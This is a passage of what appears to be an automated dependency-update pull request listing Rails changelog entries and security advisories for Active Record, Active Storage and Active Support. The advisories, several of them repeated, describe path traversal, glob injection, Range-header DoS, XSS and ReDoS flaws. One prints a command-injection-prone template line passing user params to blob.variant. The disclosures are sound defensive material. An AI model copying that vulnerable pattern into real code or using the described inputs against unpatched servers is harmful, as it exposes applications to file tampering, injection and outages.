size/any?/etc will not use it, but get the results directly from the database. After the counter cache column is backfilled, simply remove the{ active: false }part from the counter cache definition, and it will now be used by the mentioned methods.fatkodima
Retry known idempotent SELECT queries on connection-related exceptions.
SELECT queries we construct by walking the Arel tree and / or with known model attributes are idempotent and can safely be retried in the case of a connection error. Previously, adapters such as
TrilogyAdapterwould raiseActiveRecord::ConnectionFailed: Trilogy::EOFErrorwhen encountering a connection error mid-request.Adrianna Chang
Allow association's
foreign_keyto be composite.
query_constraintsoption was the only way to configure a composite foreign key by passing anArray. Now it's possible to pass an Array value asforeign_keyto achieve the same behavior of an association.Nikita Vasilevsky
Allow association's
primary_keyto be composite.Association's
primary_keycan be composite when derived from associated modelprimary_keyorquery_constraints. Now it's possible to explicitly set it as composite on the association.Nikita Vasilevsky
Add
config.active_record.permanent_connection_checkoutsetting.Controls whether
ActiveRecord::Base.connectionraises an error, emits a deprecation warning, or neither.
ActiveRecord::Base.connectioncheckouts a database connection from the pool and keeps it leased until the end of the request or job. This behavior can be undesirable in environments that use many more threads or fibers than there is available connections.This configuration can be used to track down and eliminate code that calls
ActiveRecord::Base.connectionand migrate it to useActiveRecord::Base.with_connectioninstead.The default behavior remains unchanged, and there is currently no plans to change the default.
Jean Boussier
Add dirties option to uncached.
This adds a
dirtiesoption toActiveRecord::Base.uncachedandActiveRecord::ConnectionAdapters::ConnectionPool#uncached.When set to
true(the default), writes will clear all query caches belonging to the current thread. When set tofalse, writes to the affected connection pool will not clear any query cache.This is needed by Solid Cache so that cache writes do not clear query caches.
Donal McBreen
Deprecate
ActiveRecord::Base.connectionin favor of.lease_connection.The method has been renamed as
lease_connectionto better reflect that the returned connection will be held for the duration of the request or job.This deprecation is a soft deprecation, no warnings will be issued and there is no current plan to remove the method.
Jean Boussier
Deprecate
ActiveRecord::ConnectionAdapters::ConnectionPool#connection.The method has been renamed as
lease_connectionto better reflect that the returned connection will be held for the duration of the request or job.Jean Boussier
Expose a generic fixture accessor for fixture names that may conflict with Minitest.
assert_equal "Ruby on Rails", web_sites(:rubyonrails).name assert_equal "Ruby on Rails", fixture(:web_sites, :rubyonrails).nameJean Boussier
Using
Model.query_constraintswith a single non-primary-key column used to raise as expected, but with an incorrect error message.This has been fixed to raise with a more appropriate error message.
Joshua Young
Fix
has_oneassociation autosave setting the foreign key attribute when it is unchanged.This behavior is also inconsistent with autosaving
belongs_toand can have unintended side effects like raising anActiveRecord::ReadonlyAttributeErrorwhen the foreign key attribute is marked as read-only.Joshua Young
Remove deprecated behavior that would rollback a transaction block when exited using
return,breakorthrow.Rafael Mendonça França
Deprecate
Rails.application.config.active_record.commit_transaction_on_non_local_return.Rafael Mendonça França
Remove deprecated support to pass
rewheretoActiveRecord::Relation#merge.Rafael Mendonça França
Remove deprecated support to pass
deferrable: truetoadd_foreign_key.Rafael Mendonça França
Remove deprecated support to quote
ActiveSupport::Duration.Rafael Mendonça França
Remove deprecated
#quote_bound_value.Rafael Mendonça França
Remove deprecated
ActiveRecord::ConnectionAdapters::ConnectionPool#connection_klass.Rafael Mendonça França
Remove deprecated support to apply
#connection_pool_list,#active_connections?,#clear_active_connections!,#clear_reloadable_connections!,#clear_all_connections!and#flush_idle_connections!to the connections pools for the current role when theroleargument isn't provided.Rafael Mendonça França
Remove deprecated
#all_connection_pools.Rafael Mendonça França
Remove deprecated
ActiveRecord::ConnectionAdapters::SchemaCache#data_sources.Rafael Mendonça França
Remove deprecated
ActiveRecord::ConnectionAdapters::SchemaCache.load_from.Rafael Mendonça França
Remove deprecated
#all_foreign_keys_valid?from database adapters.Rafael Mendonça França
Remove deprecated support to passing coder and class as second argument to
serialize.Rafael Mendonça França
Remove deprecated support to
ActiveRecord::Base#read_attribute(:id)to return the custom primary key value.Rafael Mendonça França
Remove deprecated
TestFixtures.fixture_path.Rafael Mendonça França
Remove deprecated behavior to support referring to a singular association by its plural name.
Rafael Mendonça França
Deprecate
Rails.application.config.active_record.allow_deprecated_singular_associations_name.Rafael Mendonça França
Remove deprecated support to passing
SchemaMigrationandInternalMetadataclasses as arguments toActiveRecord::MigrationContext.Rafael Mendonça França
Remove deprecated
ActiveRecord::Migration.check_pending!method.Rafael Mendonça França
Remove deprecated
ActiveRecord::LogSubscriber.runtimemethod.Rafael Mendonça França
Remove deprecated
ActiveRecord::LogSubscriber.runtime=method.Rafael Mendonça França
Remove deprecated
ActiveRecord::LogSubscriber.reset_runtimemethod.Rafael Mendonça França
Remove deprecated support to define
explainin the connection adapter with 2 arguments.Rafael Mendonça França
Remove deprecated
ActiveRecord::ActiveJobRequiredError.Rafael Mendonça França
Remove deprecated
ActiveRecord::Base.clear_active_connections!.Rafael Mendonça França
Remove deprecated
ActiveRecord::Base.clear_reloadable_connections!.Rafael Mendonça França
Remove deprecated
ActiveRecord::Base.clear_all_connections!.Rafael Mendonça França
Remove deprecated
ActiveRecord::Base.flush_idle_connections!.Rafael Mendonça França
Remove deprecated
nameargument fromActiveRecord::Base.remove_connection.Rafael Mendonça França
Remove deprecated support to call
alias_attributewith non-existent attribute names.Rafael Mendonça França
Remove deprecated
Rails.application.config.active_record.suppress_multiple_database_warning.Rafael Mendonça França
Add
ActiveRecord::Encryption::MessagePackMessageSerializer.Serialize data to the MessagePack format, for efficient storage in binary columns.
The binary encoding requires around 30% less space than the base64 encoding used by the default serializer.
Donal McBreen
Add support for encrypting binary columns.
Ensure encryption and decryption pass
Type::Binary::Dataaround for binary data.Previously encrypting binary columns with the
ActiveRecord::Encryption::MessageSerializerincidentally worked for MySQL and SQLite, but not PostgreSQL.Donal McBreen
Deprecated
ENV["SCHEMA_CACHE"]in favor ofschema_cache_pathin the database configuration.Rafael Mendonça França
Add
ActiveRecord::Base.with_connectionas a shortcut for leasing a connection for a short duration.The leased connection is yielded, and for the duration of the block, any call to
ActiveRecord::Base.connectionwill yield that same connection.This is useful to perform a few database operations without causing a connection to be leased for the entire duration of the request or job.
Jean Boussier
Deprecate
config.active_record.warn_on_records_fetched_greater_thannow thatsql.active_recordnotification includes:row_countfield.Jason Nochlin
The fix ensures that the association is joined using the appropriate join type (either inner join or left outer join) based on the existing joins in the scope.
This prevents unintentional overrides of existing join types and ensures consistency in the generated SQL queries.
Example:
# `associated` will use `LEFT JOIN` instead of using `JOIN` Post.left_joins(:author).where.associated(:author)Saleh Alhaddad
Fix an issue where
ActiveRecord::Encryptionconfigurations are not ready before the loading of Active Record models, when an application is eager loaded. As a result, encrypted attributes could be misconfigured in some cases.Maxime Réty
Deprecate defining an
enumwith keyword arguments.class Function > ApplicationRecord
# BAD
enum color: [:red, :blue],
type: [:instance, :class]# GOOD
enum :color, [:red, :blue]
enum :type, [:instance, :class]
endHartley McGuire
Add
config.active_record.validate_migration_timestampsoption for validating migration timestamps.When set, validates that the timestamp prefix for a migration is no more than a day ahead of the timestamp associated with the current time. This is designed to prevent migrations prefixes from being hand-edited to future timestamps, which impacts migration generation and other migration commands.
Adrianna Chang
Properly synchronize
Mysql2Adapter#active?andTrilogyAdapter#active?.As well as
disconnect!andverify!.This generally isn't a big problem as connections must not be shared between threads, but is required when running transactional tests or system tests and could lead to a SEGV.
Jean Boussier
Support
:source_locationtag option for query log tags.config.active_record.query_log_tags << :source_locationCalculating the caller location is a costly operation and should be used primarily in development (note, there is also a
config.active_record.verbose_query_logsthat serves the same purpose) or occasionally on production for debugging purposes.fatkodima
Add an option to
ActiveRecord::Encryption::Encryptorto disable compression.Allow compression to be disabled by setting
compress: falseclass User encrypts :name, encryptor: ActiveRecord::Encryption::Encryptor.new(compress: false) endDonal McBreen
Deprecate passing strings to
ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename.A
ActiveRecord::DatabaseConfigurations::DatabaseConfigobject should be passed instead.Rafael Mendonça França
Add
row_countfield tosql.active_recordnotification.This field returns the amount of rows returned by the query that emitted the notification.
This metric is useful in cases where one wants to detect queries with big result sets.
Marvin Bitterlich
Consistently raise an
ArgumentErrorwhen passing an invalid argument to a nested attributes association writer.Previously, this would only raise on collection associations and produce a generic error on singular associations.
Now, it will raise on both collection and singular associations.
Joshua Young
Fix single quote escapes on default generated MySQL columns.
MySQL 5.7.5+ supports generated columns, which can be used to create a column that is computed from an expression.
Previously, the schema dump would output a string with double escapes for generated columns with single quotes in the default expression.
This would result in issues when importing the schema on a fresh instance of a MySQL database.
Now, the string will not be escaped and will be valid Ruby upon importing of the schema.
Yash Kapadia
Fix Migrations with versions older than 7.1 validating options given to
add_referenceandt.references.Hartley McGuire
Add
<role>_typesclass method toActiveRecord::DelegatedTypeso that the delegated types can be introspected.JP Rosevear
Make
schema_dump,query_cache,replicaanddatabase_tasksconfigurable viaDATABASE_URL.This wouldn't always work previously because boolean values would be interpreted as strings.
e.g.
DATABASE_URL=postgres://localhost/foo?schema_dump=falsenow properly disable dumping the schema cache.Mike Coutermarsh, Jean Boussier
Introduce
ActiveRecord::Transactions::ClassMethods#set_callback.It is identical to
ActiveSupport::Callbacks::ClassMethods#set_callbackbut with support forafter_commitandafter_rollbackcallback options.Joshua Young
Make
ActiveRecord::Encryption::Encryptoragnostic of the serialization format used for encrypted data.Previously, the encryptor instance only allowed an encrypted value serialized as a
Stringto be passed to the message serializer.Now, the encryptor lets the configured
message_serializerdecide which types of serialized encrypted values are supported. A custom serialiser is therefore allowed to serializeActiveRecord::Encryption::Messageobjects using a type other thanString.The default
ActiveRecord::Encryption::MessageSerializeralready ensures that onlyStringobjects are passed for deserialization.Maxime Réty
Fix
encrypted_attribute?to take into account context properties passed toencrypts.Maxime Réty
The object returned by
explainnow responds topluck,first,last,average,count,maximum,minimum, andsum. Those new methods runEXPLAINon the corresponding queries:User.all.explain.count# EXPLAIN SELECT COUNT(*) FROM
users
# ...User.all.explain.maximum(:id)
# EXPLAIN SELECT MAX(users.id) FROMusers
# ...Petrik de Heus
Fixes an issue where
validates_associated:onoption wasn't respected when validating associated records.Austen Madden, Alex Ghiculescu, Rafał Brize
Allow overriding SQLite defaults from
database.yml.Any PRAGMA configuration set under the
pragmaskey in the configuration file takes precedence over Rails' defaults, and additional PRAGMAs can be set as well.database: storage/development.sqlite3 timeout: 5000 pragmas: journal_mode: off temp_store: memoryStephen Margheim
Remove warning message when running SQLite in production, but leave it unconfigured.
There are valid use cases for running SQLite in production. However, it must be done with care, so instead of a warning most users won't see anyway, it's preferable to leave the configuration commented out to force them to think about having the database on a persistent volume etc.
Jacopo Beschi, Jean Boussier
Add support for generated columns to the SQLite3 adapter.
Generated columns (both stored and dynamic) are supported since version 3.31.0 of SQLite. This adds support for those to the SQLite3 adapter.
create_table :users do |t| t.string :name t.virtual :name_upper, type: :string, as: 'UPPER(name)' t.virtual :name_lower, type: :string, as: 'LOWER(name)', stored: true endStephen Margheim
TrilogyAdapter: ignore
hostifsocketparameter is set.This allows to configure a connection on a UNIX socket via
DATABASE_URL:DATABASE_URL=trilogy://does-not-matter/my_db_production?socket=/var/run/mysql.sockJean Boussier
Make
assert_queries_count,assert_no_queries,assert_queries_match, andassert_no_queries_matchassertions public.To assert the expected number of queries are made, Rails internally uses
assert_queries_countandassert_no_queries. To assert that specific SQL queries are made,assert_queries_matchandassert_no_queries_matchare used. These assertions can now be used in applications as well.class ArticleTest < ActiveSupport::TestCase
test "queries are made" do
assert_queries_count(1) { Article.first }
endtest "creates a foreign key" do
assert_queries_match(/ADD FOREIGN KEY/i, include_schema: true) do
@connection.add_foreign_key(:comments, :posts)
end
end
endPetrik de Heus, fatkodima
Fix
has_secure_tokencalls the setter method on initialize.Abeid Ahmed
When using a
DATABASE_URL, allow for a configuration to map the protocol in the URL to a specific database adapter. This allows decoupling the adapter the application chooses to use from the database connection details set in the deployment environment.# ENV['DATABASE_URL'] = "mysql://localhost/example_database" config.active_record.protocol_adapters.mysql = "trilogy" # will connect to MySQL using the trilogy adapterJean Boussier, Kevin McPhillips
In cases where MySQL returns
warning_countgreater than zero, but returns no warnings when theSHOW WARNINGSquery is executed,ActiveRecord.db_warnings_actionproc will still be called with a generic warning message rather than silently ignoring the warning(s).Kevin McPhillips
DatabaseConfigurations#configs_foraccepts a symbol in thenameparameter.Andrew Novoselac
Fix
where(field: values)queries whenfieldis a serialized attribute (for example, whenfieldusesActiveRecord::Base.serializeor is a JSON column).João Alves
Make the output of
ActiveRecord::Core#inspectconfigurable.By default, calling
inspecton a record will yield a formatted string including just theid.Post.first.inspect #=> "#<Post id: 1>"The attributes to be included in the output of
inspectcan be configured withActiveRecord::Core#attributes_for_inspect.Post.attributes_for_inspect = [:id, :title] Post.first.inspect #=> "#<Post id: 1, title: "Hello, World!">"With
attributes_for_inspectset to:all,inspectwill list all the record's attributes.Post.attributes_for_inspect = :all Post.first.inspect #=> "#<Post id: 1, title: "Hello, World!", published_at: "2023-10-23 14:28:11 +0000">"In
developmentandtestmode,attributes_for_inspectwill be set to:allby default.You can also call
full_inspectto get an inspection with all the attributes.The attributes in
attribute_for_inspectwill also be used forpretty_print.Andrew Novoselac
Don't mark attributes as changed when reassigned to
Float::INFINITYor-Float::INFINITY.Maicol Bentancor
Support the
RETURNINGclause for MariaDB.fatkodima, Nikolay Kondratyev
The SQLite3 adapter now implements the
supports_deferrable_constraints?contract.Allows foreign keys to be deferred by adding the
:deferrablekey to theforeign_keyoptions.add_reference :person, :alias, foreign_key: { deferrable: :deferred } add_reference :alias, :person, foreign_key: { deferrable: :deferred }Stephen Margheim
Add the
set_constraintshelper to PostgreSQL connections.Post.create!(user_id: -1) # => ActiveRecord::InvalidForeignKeyPost.transaction do
Post.connection.set_constraints(:deferred)
p = Post.create!(user_id: -1)
u = User.create!
p.user = u
p.save!
endCody Cutrer
Include
ActiveModel::APIinActiveRecord::Base.Sean Doyle
Ensure
#signed_idoutputsurl_safestrings.Jason Meller
Add
nulls_lastand workingdesc.nulls_firstfor MySQL.Tristan Fellows
Allow for more complex hash arguments for
orderwhich mimicswhereinActiveRecord::Relation.Topic.includes(:posts).order(posts: { created_at: :desc })Myles Boone
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ activestorage (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Security Advisories 🚨
🚨 Rails Active Storage has a possible DoS vulnerability in proxy mode via multi-range requests
Impact
Active Storage's proxy controller does not limit the number of byte ranges in an HTTP Range header. A request with thousands of small ranges causes disproportionate CPU usage compared to a normal request for the same file, possibly resulting in a DoS vulnerability.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher thwin_htet.
🚨 Rails Active Storage has a possible DoS vulnerability in proxy mode via multi-range requests
Impact
Active Storage's proxy controller does not limit the number of byte ranges in an HTTP Range header. A request with thousands of small ranges causes disproportionate CPU usage compared to a normal request for the same file, possibly resulting in a DoS vulnerability.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher thwin_htet.
🚨 Rails Active Storage has a possible DoS vulnerability in proxy mode via multi-range requests
Impact
Active Storage's proxy controller does not limit the number of byte ranges in an HTTP Range header. A request with thousands of small ranges causes disproportionate CPU usage compared to a normal request for the same file, possibly resulting in a DoS vulnerability.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher thwin_htet.
🚨 Rails Active Storage has possible Path Traversal in DiskService
Impact
Active Storage's
DiskService#path_fordoes not validate that the resolved filesystem path remains within the storage root directory. If a blob key containing path traversal sequences (e.g.../) is used, it could allow reading, writing, or deleting arbitrary files on the server. Blob keys are expected to be trusted strings, but some applications could be passing user input as keys and would be affected.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher ksw9722.
🚨 Rails Active Storage has possible glob injection in its DiskService
Impact
Active Storage's
DiskService#delete_prefixedpasses blob keys directly toDir.globwithout escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory.Releases
The fixed releases are available at the normal locations.
🚨 Rails Active Storage has possible content type bypass via metadata in direct uploads
Impact
Active Storage's
DirectUploadsControlleraccepts arbitrary metadata from the client and persists it on the blob. Because internal flags likeidentifiedandanalyzedare stored in the same metadata hash, a malicious direct-upload client could set these flags.Releases
The fixed releases are available at the normal locations.
Credit
This was responsible reported by Hackerone researcher pwnie
🚨 Rails Active Storage has possible Path Traversal in DiskService
Impact
Active Storage's
DiskService#path_fordoes not validate that the resolved filesystem path remains within the storage root directory. If a blob key containing path traversal sequences (e.g.../) is used, it could allow reading, writing, or deleting arbitrary files on the server. Blob keys are expected to be trusted strings, but some applications could be passing user input as keys and would be affected.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher ksw9722.
🚨 Rails Active Storage has possible glob injection in its DiskService
Impact
Active Storage's
DiskService#delete_prefixedpasses blob keys directly toDir.globwithout escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory.Releases
The fixed releases are available at the normal locations.
🚨 Rails Active Storage has a possible DoS vulnerability when in proxy mode via Range requests
Impact
When serving files through Active Storage's
Blobs::ProxyController, the controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g.bytes=0-) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone user pirikara
🚨 Rails Active Storage has possible content type bypass via metadata in direct uploads
Impact
Active Storage's
DirectUploadsControlleraccepts arbitrary metadata from the client and persists it on the blob. Because internal flags likeidentifiedandanalyzedare stored in the same metadata hash, a malicious direct-upload client could set these flags.Releases
The fixed releases are available at the normal locations.
Credit
This was responsible reported by Hackerone researcher pwnie
🚨 Rails Active Storage has a possible DoS vulnerability when in proxy mode via Range requests
Impact
When serving files through Active Storage's
Blobs::ProxyController, the controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g.bytes=0-) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone user pirikara
🚨 Rails Active Storage has possible Path Traversal in DiskService
Impact
Active Storage's
DiskService#path_fordoes not validate that the resolved filesystem path remains within the storage root directory. If a blob key containing path traversal sequences (e.g.../) is used, it could allow reading, writing, or deleting arbitrary files on the server. Blob keys are expected to be trusted strings, but some applications could be passing user input as keys and would be affected.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher ksw9722.
🚨 Rails Active Storage has possible glob injection in its DiskService
Impact
Active Storage's
DiskService#delete_prefixedpasses blob keys directly toDir.globwithout escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory.Releases
The fixed releases are available at the normal locations.
🚨 Rails Active Storage has possible content type bypass via metadata in direct uploads
Impact
Active Storage's
DirectUploadsControlleraccepts arbitrary metadata from the client and persists it on the blob. Because internal flags likeidentifiedandanalyzedare stored in the same metadata hash, a malicious direct-upload client could set these flags.Releases
The fixed releases are available at the normal locations.
Credit
This was responsible reported by Hackerone researcher pwnie
🚨 Rails Active Storage has a possible DoS vulnerability when in proxy mode via Range requests
Impact
When serving files through Active Storage's
Blobs::ProxyController, the controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g.bytes=0-) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone user pirikara
🚨 Active Storage allowed transformation methods that were potentially unsafe
Active Storage attempts to prevent the use of potentially unsafe image transformation methods and parameters by default.
The default allowed list contains three methods allowing for the circumvention of the safe defaults which enables potential command injection vulnerabilities in cases where arbitrary user supplied input is accepted as valid transformation methods or parameters.
This has been assigned the CVE identifier CVE-2025-24293.
Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.1.5.2, 7.2.2.2, 8.0.2.1Impact
This vulnerability impacts applications that use Active Storage with the image_processing processing gem in addition to mini_magick as the image processor.
Vulnerable code will look something similar to this:
<%= image_tag blob.variant(params[:t] => params[:v]) %>Where the transformation method or its arguments are untrusted arbitrary input.
All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases
The fixed releases are available at the normal locations.
Workarounds
Consuming user supplied input for image transformation methods or their parameters is unsupported behavior and should be considered dangerous.
Strict validation of user supplied methods and parameters should be performed as well as having a strong ImageMagick security policy deployed.
Credits
Thank you lio346 from Unit 515 of OPSWAT for reporting this!
🚨 Active Storage allowed transformation methods that were potentially unsafe
Active Storage attempts to prevent the use of potentially unsafe image transformation methods and parameters by default.
The default allowed list contains three methods allowing for the circumvention of the safe defaults which enables potential command injection vulnerabilities in cases where arbitrary user supplied input is accepted as valid transformation methods or parameters.
This has been assigned the CVE identifier CVE-2025-24293.
Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.1.5.2, 7.2.2.2, 8.0.2.1Impact
This vulnerability impacts applications that use Active Storage with the image_processing processing gem in addition to mini_magick as the image processor.
Vulnerable code will look something similar to this:
<%= image_tag blob.variant(params[:t] => params[:v]) %>Where the transformation method or its arguments are untrusted arbitrary input.
All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases
The fixed releases are available at the normal locations.
Workarounds
Consuming user supplied input for image transformation methods or their parameters is unsupported behavior and should be considered dangerous.
Strict validation of user supplied methods and parameters should be performed as well as having a strong ImageMagick security policy deployed.
Credits
Thank you lio346 from Unit 515 of OPSWAT for reporting this!
Release Notes
8.0.1 (from changelog)
- No changes.
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
- No changes.
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
- No changes.
7.2.1 (from changelog)
- No changes.
7.2.0 (from changelog)
Remove deprecated
config.active_storage.silence_invalid_content_types_warning.Rafael Mendonça França
Remove deprecated
config.active_storage.replace_on_assign_to_many.Rafael Mendonça França
Add support for custom
keyinActiveStorage::Blob#compose.Elvin Efendiev
Add
image/webptoconfig.active_storage.web_image_content_typeswhenload_defaults "7.2"is set.Lewis Buckley
Fix JSON-encoding of
ActiveStorage::Filenameinstances.Jonathan del Strother
Fix N+1 query when fetching preview images for non-image assets.
Aaron Patterson & Justin Searls
Fix all Active Storage database related models to respect
ActiveRecord::Base.table_name_prefixconfiguration.Chedli Bourguiba
Fix
ActiveStorage::Representations::ProxyControllernot returning the proper preview image variant for previewable files.Chedli Bourguiba
Fix
ActiveStorage::Representations::ProxyControllerto proxy untracked variants.Chedli Bourguiba
When using the
preprocessed: trueoption, avoid enqueuing transform jobs for blobs that are not representable.Chedli Bourguiba
Prevent
ActiveStorage::Blob#previewto generate a variant if an empty variation is passed.Calls to
#url,#keyor#downloadwill now use the original preview image instead of generating a variant with the exact same dimensions.Chedli Bourguiba
Process preview image variant when calling
ActiveStorage::Preview#processed.For example,
attached_pdf.preview(:thumb).processedwill now immediately generate the full-sized preview image and the:thumbvariant of it. Previously, the:thumbvariant would not be generated until a further call to e.g.processed.url.Chedli Bourguiba and Jonathan Hefner
Prevent
ActiveRecord::StrictLoadingViolationErrorwhen strict loading is enabled and the variant of an Active Storage preview has already been processed (for example, by callingActiveStorage::Preview#url).Jonathan Hefner
Fix
preprocessed: trueoption for named variants of previewable files.Nico Wenterodt
Allow accepting
serviceas a proc as well inhas_one_attachedandhas_many_attached.Yogesh Khater
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ activesupport (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Security Advisories 🚨
🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited
Impact
NumberToDelimitedConverterused a regular expression withgsub!to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher scyoon.
🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%
Impact
SafeBuffer#%does not propagate the@html_unsafeflag to the newly created buffer. If aSafeBufferis mutated in place (e.g. viagsub!) and then formatted with%using untrusted arguments, the result incorrectly reportshtml_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by @ch4n3-yoon
🚨 Rails Active Support has a possible DoS vulnerability in its number helpers
Impact
Active Support number helpers accept strings containing scientific notation (e.g.
1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher manun.
🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited
Impact
NumberToDelimitedConverterused a regular expression withgsub!to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher scyoon.
🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%
Impact
SafeBuffer#%does not propagate the@html_unsafeflag to the newly created buffer. If aSafeBufferis mutated in place (e.g. viagsub!) and then formatted with%using untrusted arguments, the result incorrectly reportshtml_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by @ch4n3-yoon
🚨 Rails Active Support has a possible DoS vulnerability in its number helpers
Impact
Active Support number helpers accept strings containing scientific notation (e.g.
1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher manun.
🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited
Impact
NumberToDelimitedConverterused a regular expression withgsub!to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher scyoon.
🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%
Impact
SafeBuffer#%does not propagate the@html_unsafeflag to the newly created buffer. If aSafeBufferis mutated in place (e.g. viagsub!) and then formatted with%using untrusted arguments, the result incorrectly reportshtml_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by @ch4n3-yoon
🚨 Rails Active Support has a possible DoS vulnerability in its number helpers
Impact
Active Support number helpers accept strings containing scientific notation (e.g.
1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher manun.
Release Notes
8.0.1 (from changelog)
Fix a bug in
ERB::Util.tokenizethat causes incorrect tokenization when ERB tags are preceeded by multibyte characters.Martin Emde
Restore the ability to decorate methods generated by
class_attribute.It always has been complicated to use Module#prepend or an alias method chain to decorate methods defined by
class_attribute, but became even harder in 8.0.This capability is now supported for both reader and writer methods.
Jean Boussier
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
Include options when instrumenting
ActiveSupport::Cache::Store#deleteandActiveSupport::Cache::Store#delete_multi.Adam Renberg Tamm
Print test names when running
rails test -vfor parallel tests.John Hawthorn, Abeid Ahmed
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
- No changes.
7.2.1 (from changelog)
- No changes.
7.2.0 (from changelog)
Fix
delegate_missing_to allow_nil: truewhen called with implict selfclass Person
delegate_missing_to :address, allow_nil: truedef address
nil
enddef berliner?
city == "Berlin"
end
endPerson.new.city # => nil
Person.new.berliner? # undefined local variable or method `city' for an instance of Person (NameError)Jean Boussier
Add
loggeras a dependency since it is a bundled gem candidate for Ruby 3.5Earlopain
Define
Digest::UUID.nil_uuid, which returns the so-called nil UUID.Xavier Noria
Support
durationtype inActiveSupport::XmlMini.heka1024
Remove deprecated
ActiveSupport::Notifications::Event#childrenandActiveSupport::Notifications::Event#parent_of?.Rafael Mendonça França
Remove deprecated support to call the following methods without passing a deprecator:
deprecatedeprecate_constantActiveSupport::Deprecation::DeprecatedObjectProxy.newActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.newActiveSupport::Deprecation::DeprecatedConstantProxy.newassert_deprecatedassert_not_deprecatedcollect_deprecationsRafael Mendonça França
Remove deprecated
ActiveSupport::Deprecationdelegation to instance.Rafael Mendonça França
Remove deprecated
SafeBuffer#clone_empty.Rafael Mendonça França
Remove deprecated
#to_default_sfromArray,Date,DateTimeandTime.Rafael Mendonça França
Remove deprecated support to passing
Dalli::Clientinstances toMemCacheStore.Rafael Mendonça França
Remove deprecated
config.active_support.use_rfc4122_namespaced_uuids.Rafael Mendonça França
Remove deprecated
config.active_support.remove_deprecated_time_with_zone_name.Rafael Mendonça França
Remove deprecated
config.active_support.disable_to_s_conversion.Rafael Mendonça França
Remove deprecated support to bolding log text with positional boolean in
ActiveSupport::LogSubscriber#color.Rafael Mendonça França
Remove deprecated constants
ActiveSupport::LogSubscriber::CLEARandActiveSupport::LogSubscriber::BOLD.Rafael Mendonça França
Remove deprecated support for
config.active_support.cache_format_version = 6.1.Rafael Mendonça França
Remove deprecated
:pool_sizeand:pool_timeoutoptions for the cache storage.Rafael Mendonça França
Warn on tests without assertions.
ActiveSupport::TestCasenow warns when tests do not run any assertions. This is helpful in detecting broken tests that do not perform intended assertions.fatkodima
Support
hexBinarytype inActiveSupport::XmlMini.heka1024
Deprecate
